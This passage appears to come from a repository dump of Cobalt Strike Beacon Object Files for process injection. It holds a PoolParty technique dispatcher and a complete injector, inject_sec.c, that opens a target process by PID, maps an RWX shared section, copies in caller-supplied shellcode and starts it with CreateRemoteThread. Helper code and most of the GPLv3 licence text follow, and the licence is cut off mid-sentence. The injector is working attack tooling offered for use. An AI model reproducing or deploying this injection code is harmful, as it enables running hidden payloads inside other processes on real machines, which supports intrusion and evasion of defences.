PCWSTR SourceString)\n{\n    if (!DestinationString) return;\n\n    if (!SourceString) {\n        DestinationString->Length = 0;\n        DestinationString->MaximumLength = 0;\n        DestinationString->Buffer = NULL;\n        return;\n    }\n\n    /* Compute character length, then clamp so (len+1)*sizeof(WCHAR) fits in USHORT */\n    size_t cch = MSVCRT$wcslen(SourceString);\n\n    /* Max WCHAR count that allows room for the NUL in USHORT bytes */\n    size_t max_cch_with_nul = (USHRT_MAX / sizeof(wchar_t));\n    if (max_cch_with_nul > 0) {\n        size_t max_cch = max_cch_with_nul - 1; /* leave space for the terminator */\n        if (cch > max_cch) cch = max_cch;\n    }\n\n    /* Set fields (Length/MaximumLength are in BYTES) */\n    DestinationString->Length = (unsigned short)(cch * sizeof(wchar_t));\n    DestinationString->MaximumLength = (unsigned short)((cch + 1) * sizeof(wchar_t));\n\n    /* Official RtlInitUnicodeString stores the caller's pointer (no copy). */\n    DestinationString->Buffer = (PWSTR)SourceString; /* cast matches real API */\n}\n\nchar generateRandomLetter() {\n    int randomNumber = MSVCRT$rand() % 26;\n    char randomLetter = 'A' + randomNumber;\n    return randomLetter;\n}\n\nchar generateRandomLetters(int length) {\n    char* randomLetters = (char*)MSVCRT$malloc((length + 1) * sizeof(char));\n    for (int i = 0; i < length; ++i) {\n        randomLetters[i] = generateRandomLetter();\n    }\n    randomLetters[length] = '\\0';\n    return randomLetters;\n}\n\nwchar_t generateRandomLetterW() {\n    return L'A' + MSVCRT$rand() % 26;\n}\n\nwchar_t* generateRandomLettersW(int length) {\n    wchar_t* randomLetters = (wchar_t*)MSVCRT$malloc((length + 1) * sizeof(wchar_t));\n    for (int i = 0; i < length; ++i) {\n        randomLetters[i] = generateRandomLetterW();\n    }\n    randomLetters[length] = L'\\0';\n    return randomLetters;\n}\n\n// ----------------------------------------------------------------------------------------------------\n"
  },
  {
    "path": "Injection-BOF/inject_poolparty/inject_poolparty.c",
    "content": "#include \"1.h\"\n#include \"2.h\"\n#include \"3.h\"\n#include \"4.h\"\n#include \"5.h\"\n#include \"6.h\"\n#include \"7.h\"\n#include \"8.h\"\n\nvoid go(char * args, int len) {\n    datap parser;\n    BeaconDataParse(&parser, args, len);\n\n    DWORD pid = BeaconDataInt(&parser);\n    SIZE_T shellcodeSize = NULL;\n    CHAR* shellcode = BeaconDataExtract(&parser, &shellcodeSize);\n    DWORD technique = BeaconDataInt(&parser);\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"Selected technique: %d\", technique);\n\n    switch(technique) {\n        case 1: Inject1(pid, shellcode, shellcodeSize); break;\n        case 2: Inject2(pid, shellcode, shellcodeSize); break;\n        case 3: Inject3(pid, shellcode, shellcodeSize); break;\n        case 4: Inject4(pid, shellcode, shellcodeSize); break;\n        case 5: Inject5(pid, shellcode, shellcodeSize); break;\n        case 6: Inject6(pid, shellcode, shellcodeSize); break;\n        case 7: Inject7(pid, shellcode, shellcodeSize); break;\n        case 8: Inject8(pid, shellcode, shellcodeSize); break;\n        default: BeaconPrintf(CALLBACK_OUTPUT, \"Invalid technique %d\", technique);\n    }\n}"
  },
  {
    "path": "Injection-BOF/inject_sec/inject_sec.c",
    "content": "#include <stdio.h>\n#include <windows.h>\n#include \"beacon.h\"\n#include \"libc.h\"\n\n#define NT_SUCCESS 0x00000000\n\nWINBASEAPI   HANDLE   WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);\nNTSYSCALLAPI NTSTATUS WINAPI NTDLL$NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);\nNTSYSAPI     NTSTATUS WINAPI NTDLL$NtMapViewOfSection(HANDLE, HANDLE, PVOID, ULONG, SIZE_T, PLARGE_INTEGER, PSIZE_T, UINT, ULONG, ULONG);\nNTSYSAPI     NTSTATUS WINAPI NTDLL$NtUnmapViewOfSection(HANDLE, PVOID);\nNTSYSCALLAPI NTSTATUS WINAPI NTDLL$NtClose(HANDLE);\nWINBASEAPI   HANDLE   WINAPI KERNEL32$CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);\nWINBASEAPI   HANDLE   WINAPI KERNEL32$GetCurrentProcess(void);\nWINBASEAPI   ULONG    NTAPI  NTDLL$RtlNtStatusToDosError( NTSTATUS Status );\nWINBASEAPI   DWORD    WINAPI KERNEL32$GetLastError(VOID);\n\nvoid go(char * args, int len) {\n    datap parser;\n    BeaconDataParse(&parser, args, len);\n\n    DWORD procID = BeaconDataInt(&parser);\n    SIZE_T shellcodeSize = NULL;\n    CHAR* shellcode = BeaconDataExtract(&parser, &shellcodeSize);\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"Size: %d\", shellcodeSize);\n\n    HANDLE hSection = NULL;\n    HANDLE baseAddrRemote = NULL;\n    HANDLE baseAddrLocal = NULL;\n\n    LARGE_INTEGER sectionSize = { shellcodeSize };\n\n    HANDLE hLocalProcess  = KERNEL32$GetCurrentProcess();\n    HANDLE hRemoteProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);\n\n    // Create RWX memory section\n    NTSTATUS NtStatus = NTDLL$NtCreateSection(&hSection, GENERIC_ALL, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);\n    if(NtStatus != NT_SUCCESS) {\n        ULONG error = NTDLL$RtlNtStatusToDosError(NtStatus);\n        BeaconPrintf(CALLBACK_ERROR, \"Error creating RWX memory section. Error: %d\\n\", error);\n        return;\n    }\n\n    // Map RW Section of Local Process\n    NtStatus = NTDLL$NtMapViewOfSection(hSection, hLocalProcess, &baseAddrLocal, NULL, 0,  NULL, &shellcodeSize, 2, 0, PAGE_READWRITE);\n    if(NtStatus != NT_SUCCESS) {\n        ULONG error = NTDLL$RtlNtStatusToDosError(NtStatus);\n        BeaconPrintf(CALLBACK_ERROR, \"Error mapping local process. Error: %d\\n\", error);\n        return;\n    }\n\n    // Map view of same section for remote process\n    NtStatus = NTDLL$NtMapViewOfSection(hSection, hRemoteProcess, &baseAddrRemote, NULL, 0, NULL, &shellcodeSize, 2, 0, PAGE_EXECUTE_READ);\n    if(NtStatus != NT_SUCCESS) {\n        ULONG error = NTDLL$RtlNtStatusToDosError(NtStatus);\n        BeaconPrintf(CALLBACK_ERROR, \"Error mapping remote process. Error: %d\\n\", error);\n        return;\n    }\n\n    // Copy buffer to mapped local process\n    mycopy(baseAddrLocal, shellcode, shellcodeSize);\n\n    // Unmap local view\n    NtStatus = NTDLL$NtUnmapViewOfSection(hLocalProcess, baseAddrLocal);\n    if(NtStatus != NT_SUCCESS) {\n        ULONG error = NTDLL$RtlNtStatusToDosError(NtStatus);\n        BeaconPrintf(CALLBACK_OUTPUT, \"Error unmapping view. Error: %d\\n\", error);\n    }\n\n    // Close section\n    NtStatus = NTDLL$NtClose(hSection);\n    if(NtStatus != NT_SUCCESS) {\n        ULONG error = NTDLL$RtlNtStatusToDosError(NtStatus);\n        BeaconPrintf(CALLBACK_OUTPUT, \"Error closing handle. Error: %d\\n\", error);\n    }\n\n    // Create thread\n    HANDLE hThread = KERNEL32$CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE) baseAddrRemote, NULL, 0, NULL);\n    if(hThread == NULL)\n        BeaconPrintf(CALLBACK_ERROR, \"Error creating remote thread. Error: %d\\n\", KERNEL32$GetLastError());\n    else\n        BeaconPrintf(CALLBACK_OUTPUT, \"New remote thread created\");\n}\n"
  },
  {
    "path": "Injection-BOF/inject_sec/libc.h",
    "content": "/*\n* *grumble* *grumble* BOF files don't have access to a libc.\n * So, these are quick implementations of some stuff we need.\n */\n\n// Source: Courtesy of Raphael Mudge\n// https://github.com/rsmudge/CVE-2020-0796-BOF/blob/master/src/libc.c\n\nvoid mycopy(char * dst, const char * src, int size) {\n    int x;\n    for (x = 0; x < size; x++) {\n        *dst = *src;\n        dst++;\n        src++;\n    }\n}\n\nchar mylc(char a) {\n    if (a >= 'A' && a <= 'Z') {\n        return a + 32;\n    }\n    else {\n        return a;\n    }\n}\n\nBOOL mycmpi(char * a, char * b) {\n    while (*a != 0 && *b != 0) {\n        if (mylc(*a) != mylc(*b))\n            return FALSE;\n        a++;\n        b++;\n    }\n\n    return TRUE;\n}"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM 